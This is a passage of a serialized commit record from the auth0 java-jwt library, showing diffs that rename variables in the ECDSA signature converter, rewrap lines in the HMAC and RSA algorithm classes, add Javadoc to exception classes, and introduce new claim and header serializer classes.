         return joseSignature;
     }
@@ -146,12 +152,12 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
         }
 
         // Retrieve R and S number's length and padding.
-        int rPadding = countPadding(joseSignature, 0, ecNumberSize);
-        int sPadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
-        int rLength = ecNumberSize - rPadding;
-        int sLength = ecNumberSize - sPadding;
+        int rpadding = countPadding(joseSignature, 0, ecNumberSize);
+        int spadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
+        int rlength = ecNumberSize - rpadding;
+        int slength = ecNumberSize - spadding;
 
-        int length = 2 + rLength + 2 + sLength;
+        int length = 2 + rlength + 2 + slength;
         if (length > 255) {
             throw new SignatureException("Invalid JOSE signature format.");
         }
@@ -174,31 +180,32 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
 
         // Header with "min R" number length
         derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) rLength;
+        derSignature[offset++] = (byte) rlength;
 
         // R number
-        if (rPadding < 0) {
+        if (rpadding < 0) {
             //Sign
             derSignature[offset++] = (byte) 0x00;
             System.arraycopy(joseSignature, 0, derSignature, offset, ecNumberSize);
             offset += ecNumberSize;
         } else {
-            int copyLength = Math.min(ecNumberSize, rLength);
-            System.arraycopy(joseSignature, rPadding, derSignature, offset, copyLength);
+            int copyLength = Math.min(ecNumberSize, rlength);
+            System.arraycopy(joseSignature, rpadding, derSignature, offset, copyLength);
             offset += copyLength;
         }
 
         // Header with "min S" number length
         derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) sLength;
+        derSignature[offset++] = (byte) slength;
 
         // S number
-        if (sPadding < 0) {
+        if (spadding < 0) {
             //Sign
             derSignature[offset++] = (byte) 0x00;
             System.arraycopy(joseSignature, ecNumberSize, derSignature, offset, ecNumberSize);
         } else {
-            System.arraycopy(joseSignature, ecNumberSize + sPadding, derSignature, offset, Math.min(ecNumberSize, sLength));
+            System.arraycopy(joseSignature, ecNumberSize + spadding, derSignature, offset,
+                    Math.min(ecNumberSize, slength));
         }
 
         return derSignature;u}(j7  (0306e7c420d2ad375f4e0bcddc32a4997c3d22e7j7  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -21,7 +21,8 @@ class HMACAlgorithm extends Algorithm {
     private final byte[] secret;
 
     //Visible for testing
-    HMACAlgorithm(CryptoHelper crypto, String id, String algorithm, byte[] secretBytes) throws IllegalArgumentException {
+    HMACAlgorithm(CryptoHelper crypto, String id, String algorithm, byte[] secretBytes)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (secretBytes == null) {
             throw new IllegalArgumentException("The Secret cannot be null");
@@ -50,7 +51,8 @@ static byte[] getSecretBytes(String secret) throws IllegalArgumentException {
     public void verify(DecodedJWT jwt) throws SignatureVerificationException {
         try {
             byte[] signatureBytes = Base64.getUrlDecoder().decode(jwt.getSignature());
-            boolean valid = crypto.verifySignatureFor(getDescription(), secret, jwt.getHeader(), jwt.getPayload(), signatureBytes);
+            boolean valid = crypto.verifySignatureFor(
+                    getDescription(), secret, jwt.getHeader(), jwt.getPayload(), signatureBytes);
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }u}(j7  (5c6c0fc5ef0aa48041ee0d054890b1c0fcda781ej7  =lib/src/main/java/com/auth0/jwt/algorithms/NoneAlgorithm.javaj7  modifiedj7  K j7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -3,7 +3,6 @@
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.DecodedJWT;
-
 import java.util.Base64;
 
 class NoneAlgorithm extends Algorithm {u}(j7  (0c7a5b579f09c8ecf734431a0ff01862b5a35f0cj7  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  XI  @@ -24,7 +24,8 @@ class RSAAlgorithm extends Algorithm {
     private final CryptoHelper crypto;
 
     //Visible for testing
-    RSAAlgorithm(CryptoHelper crypto, String id, String algorithm, RSAKeyProvider keyProvider) throws IllegalArgumentException {
+    RSAAlgorithm(CryptoHelper crypto, String id, String algorithm, RSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (keyProvider == null) {
             throw new IllegalArgumentException("The Key Provider cannot be null.");
@@ -45,11 +46,13 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
-            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), signatureBytes);
+            boolean valid = crypto.verifySignatureFor(
+                    getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), signatureBytes);
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }
-        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException | IllegalArgumentException | IllegalStateException e) {
+        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException
+                | IllegalArgumentException | IllegalStateException e) {
             throw new SignatureVerificationException(this, e);
         }
     }
@@ -66,7 +69,7 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
             throw new SignatureGenerationException(this, e);
         }
     }
-    
+
     @Override
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {u}(j7  (d6b71205837f2f4ca262448c55d300ea8559d8f3j7  Jlib/src/main/java/com/auth0/jwt/exceptions/AlgorithmMismatchException.javaj7  modifiedj7  Kj7  K j7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FAlgorithmMismatchException.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  XF  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that will be thrown if the exception doesn't match the one mentioned in the JWT Header.
+ */
 public class AlgorithmMismatchException extends JWTVerificationException {
     public AlgorithmMismatchException(String message) {
         super(message);u}(j7  (f80fb752045bf22b3e8e639c9713269c52c2e480j7  Elib/src/main/java/com/auth0/jwt/exceptions/InvalidClaimException.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FInvalidClaimException.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -1,6 +1,8 @@
 package com.auth0.jwt.exceptions;
 
-
+/**
+ * The exception that will be thrown while verifying Claims of a JWT.
+ */
 public class InvalidClaimException extends JWTVerificationException {
     public InvalidClaimException(String message) {
         super(message);u}(j7  (c7e162ea9825bec91520505cfbcabc674d26075ej7  Dlib/src/main/java/com/auth0/jwt/exceptions/JWTCreationException.javaj7  modifiedj7  Kj7  K j7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTCreationException.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown when a JWT cannot be created.
+ */
 public class JWTCreationException extends RuntimeException {
     public JWTCreationException(String message, Throwable cause) {
         super(message, cause);u}(j7  (448714e9b1e92cbb590870c8a45d8e6730164983j7  Blib/src/main/java/com/auth0/jwt/exceptions/JWTDecodeException.javaj7  modifiedj7  Kj7  K j7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTDecodeException.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X6  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown when any part of the token contained an invalid JWT or JSON format.
+ */
 public class JWTDecodeException extends JWTVerificationException {
     public JWTDecodeException(String message) {
         this(message, null);u}(j7  (dd36dcd331c31c282a00ffd09241f1fcbcb9336ej7  Hlib/src/main/java/com/auth0/jwt/exceptions/JWTVerificationException.javaj7  modifiedj7  Kj7  K j7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FJWTVerificationException.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * Parent to all the exception thrown while verifying a JWT.
+ */
 public class JWTVerificationException extends RuntimeException {
     public JWTVerificationException(String message) {
         this(message, null);u}(j7  (4b7668a092219d992902413c7ee80d8965088dcaj7  Llib/src/main/java/com/auth0/jwt/exceptions/SignatureGenerationException.javaj7  modifiedj7  Kj7  K j7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureGenerationException.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -2,6 +2,9 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 
+/**
+ * The exception that is thrown when signature is not able to be generated.
+ */
 public class SignatureGenerationException extends JWTCreationException {
     public SignatureGenerationException(Algorithm algorithm, Throwable cause) {
         super("The Token's Signature couldn't be generated when signing using the Algorithm: " + algorithm, cause);u}(j7  (fa7c3cabfce64230a893194a8465e12e72a800d6j7  Nlib/src/main/java/com/auth0/jwt/exceptions/SignatureVerificationException.javaj7  modifiedj7  Kj7  K j7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FSignatureVerificationException.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  XA  @@ -2,6 +2,9 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 
+/**
+ * The exception that is thrown if the Signature verification fails.
+ */
 public class SignatureVerificationException extends JWTVerificationException {
     public SignatureVerificationException(Algorithm algorithm) {
         this(algorithm, null);u}(j7  (66f282859fea4abc435a7db0ccc698d78c312063j7  Elib/src/main/java/com/auth0/jwt/exceptions/TokenExpiredException.javaj7  modifiedj7  Kj7  K j7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fexceptions%2FTokenExpiredException.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X
  @@ -1,5 +1,8 @@
 package com.auth0.jwt.exceptions;
 
+/**
+ * The exception that is thrown if the token is expired.
+ */
 public class TokenExpiredException extends JWTVerificationException {
 
     private static final long serialVersionUID = -7076928975713577708L;u}(j7  (3746dcd2fde65838d355c953218d730350c53c59j7  5lib/src/main/java/com/auth0/jwt/impl/BasicHeader.javaj7  modifiedj7  K	j7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeader.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -24,8 +24,15 @@ class BasicHeader implements Header, Serializable {
     private final String keyId;
     private final Map<String, JsonNode> tree;
     private final ObjectReader objectReader;
-    
-    BasicHeader(String algorithm, String type, String contentType, String keyId, Map<String, JsonNode> tree, ObjectReader objectReader) {
+
+    BasicHeader(
+            String algorithm,
+            String type,
+            String contentType,
+            String keyId,
+            Map<String, JsonNode> tree,
+            ObjectReader objectReader
+    ) {
         this.algorithm = algorithm;
         this.type = type;
         this.contentType = contentType;u}(j7  (30f6ab186654d45456d1725d07bf5463902cec1dj7  6lib/src/main/java/com/auth0/jwt/impl/ClaimsHolder.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -6,11 +6,11 @@
 /**
  * The ClaimsHolder class is just a wrapper for the Map of Claims used for building a JWT.
  */
-public final class ClaimsHolder {
+public abstract class ClaimsHolder {
     private Map<String, Object> claims;
 
-    public ClaimsHolder(Map<String, Object> claims) {
-        this.claims = claims == null ? new HashMap<String, Object>() : claims;
+    protected ClaimsHolder(Map<String, Object> claims) {
+        this.claims = claims == null ? new HashMap<>() : claims;
     }
 
     Map<String, Object> getClaims() {u}(j7  (b1f8e6d3a21f5a0747db6febd374012486b55837j7  :lib/src/main/java/com/auth0/jwt/impl/ClaimsSerializer.javaj7  addedj7  KVj7  K j7  KVj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  Xe  @@ -0,0 +1,86 @@
+package com.auth0.jwt.impl;
+
+import com.fasterxml.jackson.core.JsonGenerator;
+import com.fasterxml.jackson.databind.SerializerProvider;
+import com.fasterxml.jackson.databind.ser.std.StdSerializer;
+
+import java.io.IOException;
+import java.time.Instant;
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Custom serializer used to write the resulting JWT.
+ *
+ * @param <T> the type this serializer operates on.
+ */
+public class ClaimsSerializer<T extends ClaimsHolder> extends StdSerializer<T> {
+
+    public ClaimsSerializer(Class<T> t) {
+        super(t);
+    }
+
+    @Override
+    public void serialize(T holder, JsonGenerator gen, SerializerProvider provider) throws IOException {
+        gen.writeStartObject();
+        for (Map.Entry<String, Object> entry : holder.getClaims().entrySet()) {
+            writeClaim(entry, gen);
+        }
+        gen.writeEndObject();
+    }
+
+    /**
+     * Writes the given entry to the JSON representation. Custom claim serialization handling can override this method
+     * to provide use-case specific serialization. Implementors who override this method must write
+     * the field name and the field value.
+     *
+     * @param entry The entry that corresponds to the JSON field to write
+     * @param gen The {@code JsonGenerator} to use
+     * @throws IOException if there is either an underlying I/O problem or encoding issue at format layer
+     */
+    protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
+        gen.writeFieldName(entry.getKey());
+        handleSerialization(entry.getValue(), gen);
+    }
+
+    private static void handleSerialization(Object value, JsonGenerator gen) throws IOException {
+        if (value instanceof Date) {
+            gen.writeNumber(dateToSeconds((Date) value));
+        } else if (value instanceof Instant) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom Instant claims
+            gen.writeNumber(instantToSeconds((Instant) value));
+        } else if (value instanceof Map) {
+            serializeMap((Map<?, ?>) value, gen);
+        } else if (value instanceof List) {
+            serializeList((List<?>) value, gen);
+        } else {
+            gen.writeObject(value);
+        }
+    }
+
+    private static void serializeMap(Map<?, ?> map, JsonGenerator gen) throws IOException {
+        gen.writeStartObject();
+        for (Map.Entry<?, ?> entry : map.entrySet()) {
+            gen.writeFieldName((String) entry.getKey());
+            Object value = entry.getValue();
+            handleSerialization(value, gen);
+        }
+        gen.writeEndObject();
+    }
+
+    private static void serializeList(List<?> list, JsonGenerator gen) throws IOException {
+        gen.writeStartArray();
+        for (Object entry : list) {
+            handleSerialization(entry, gen);
+        }
+        gen.writeEndArray();
+    }
+
+    private static long instantToSeconds(Instant instant) {
+        return instant.getEpochSecond();
+    }
+
+    private static long dateToSeconds(Date date) {
+        return date.getTime() / 1000;
+    }
+}u}(j7  (9b480116d0c82784e9419fb51c8357ce62de9cbbj7  <lib/src/main/java/com/auth0/jwt/impl/HeaderClaimsHolder.javaj7  addedj7  Kj7  K j7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X#  @@ -0,0 +1,12 @@
+package com.auth0.jwt.impl;
+
+import java.util.Map;
+
+/**
+ * Holds the header claims when serializing a JWT.
+ */
+public final class HeaderClaimsHolder extends ClaimsHolder {
+    public HeaderClaimsHolder(Map<String, Object> claims) {
+        super(claims);
+    }
+}u}(j7  (8a6cbcf89b841652e5677036f7f59a4f6b837655j7  <lib/src/main/java/com/auth0/jwt/impl/HeaderDeserializer.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -13,10 +13,10 @@
 
 /**
  * Jackson deserializer implementation for converting from JWT Header parts.
- *
- * @see JWTParser
  * <p>
  * This class is thread-safe.
+ *
+ * @see JWTParser
  */
 class HeaderDeserializer extends StdDeserializer<BasicHeader> {
 u}(j7  (5c7cf0fc977f9c153c06c3b01cd3f5fa92aca37ej7  :lib/src/main/java/com/auth0/jwt/impl/HeaderSerializer.javaj7  addedj7  K
j7  K j7  K
j7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X#  @@ -0,0 +1,10 @@
+package com.auth0.jwt.impl;
+
+/**
+ * Responsible for serializing a JWT's header representation to JSON.
+ */
+public class HeaderSerializer extends ClaimsSerializer<HeaderClaimsHolder> {
+    public HeaderSerializer() {
+        super(HeaderClaimsHolder.class);
+    }
+}u}(j7  (fe1600bd313d3e84c8aec28926cc790df4fa0ec9j7  3lib/src/main/java/com/auth0/jwt/impl/JWTParser.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParser.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -9,9 +9,12 @@
 import com.fasterxml.jackson.databind.ObjectReader;
 import com.fasterxml.jackson.databind.SerializationFeature;
 import com.fasterxml.jackson.databind.module.SimpleModule;
-
 import java.io.IOException;
 
+/**
+ * This class helps in decoding the Header and Payload of the JWT using
+ * {@link HeaderSerializer} and {@link PayloadSerializer}.
+ */
 public class JWTParser implements JWTPartsParser {
     private final ObjectReader payloadReader;
     private final ObjectReader headerReader;u}(j7  (54a09575c0a931f8120915ba36923f4fb820c4bcj7  7lib/src/main/java/com/auth0/jwt/impl/JsonNodeClaim.javaj7  modifiedj7  K
j7  K
j7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaim.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X	  @@ -74,34 +74,34 @@ public Instant asInstant() {
 
     @Override
     @SuppressWarnings("unchecked")
-    public <T> T[] asArray(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T[] asArray(Class<T> clazz) throws JWTDecodeException {
         if (!data.isArray()) {
             return null;
         }
 
-        T[] arr = (T[]) Array.newInstance(tClazz, data.size());
+        T[] arr = (T[]) Array.newInstance(clazz, data.size());
         for (int i = 0; i < data.size(); i++) {
             try {
-                arr[i] = objectReader.treeToValue(data.get(i), tClazz);
+                arr[i] = objectReader.treeToValue(data.get(i), clazz);
             } catch (JsonProcessingException e) {
-                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + tClazz.getSimpleName(), e);
+                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + clazz.getSimpleName(), e);
             }
         }
         return arr;
     }
 
     @Override
-    public <T> List<T> asList(Class<T> tClazz) throws JWTDecodeException {
+    public <T> List<T> asList(Class<T> clazz) throws JWTDecodeException {
         if (!data.isArray()) {
             return null;
         }
 
         List<T> list = new ArrayList<>();
         for (int i = 0; i < data.size(); i++) {
             try {
-                list.add(objectReader.treeToValue(data.get(i), tClazz));
+                list.add(objectReader.treeToValue(data.get(i), clazz));
             } catch (JsonProcessingException e) {
-                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + tClazz.getSimpleName(), e);
+                throw new JWTDecodeException("Couldn't map the Claim's array contents to " + clazz.getSimpleName(), e);
             }
         }
         return list;
@@ -124,11 +124,11 @@ public Map<String, Object> asMap() throws JWTDecodeException {
     }
 
     @Override
-    public <T> T as(Class<T> tClazz) throws JWTDecodeException {
+    public <T> T as(Class<T> clazz) throws JWTDecodeException {
         try {
-            return objectReader.treeAsTokens(data).readValueAs(tClazz);
+            return objectReader.treeAsTokens(data).readValueAs(clazz);
